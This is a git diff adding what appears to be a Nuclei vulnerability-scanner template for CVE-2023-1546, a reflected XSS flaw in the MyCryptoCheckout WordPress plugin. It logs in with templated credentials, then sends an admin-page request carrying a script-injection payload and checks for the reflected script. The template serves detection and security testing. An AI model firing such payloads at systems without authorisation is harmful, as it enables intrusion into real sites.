diff --git a/http/cves/2023/CVE-2023-1546.yaml b/http/cves/2023/CVE-2023-1546.yaml new file mode 100644 index 0000000000..f8345d5a2b --- /dev/null +++ b/http/cves/2023/CVE-2023-1546.yaml @@ -0,0 +1,37 @@ +id: CVE-2023-1546 + +info: + name: MyCryptoCheckout < 2.124 - Reflected XSS + author: Harsh + severity: medium + description: | + The plugin does not escape some URLs before outputting them in attributes, leading to Reflected Cross-Site Scripting + reference: + - https://wpscan.com/vulnerability/bb065397-370f-4ee1-a2c8-20e4dc4415a0 + classification: + cve-id: CVE-2023-1546 + tags: wpscan,cve2023,wordpress,authenticated,cve,wp-plugin,xss + +http: + - raw: + - | + POST /wp-login.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + log={{username}}&pwd={{password}}&wp-submit=Log+In + - | + GET /wp-admin/options-general.php?page=mycryptocheckout&%22%3E%3Cscript%3Ealert(007)%3C/script%3E HTTP/1.1 + Host: {{Hostname}} + + + + cookie-reuse: true + req-condition: true + matchers: + - type: dsl + dsl: + - 'status_code_2 == 200' + - 'contains(header_2, "text/html")' + - 'contains(body_2, "scriptalert(007)")' + condition: and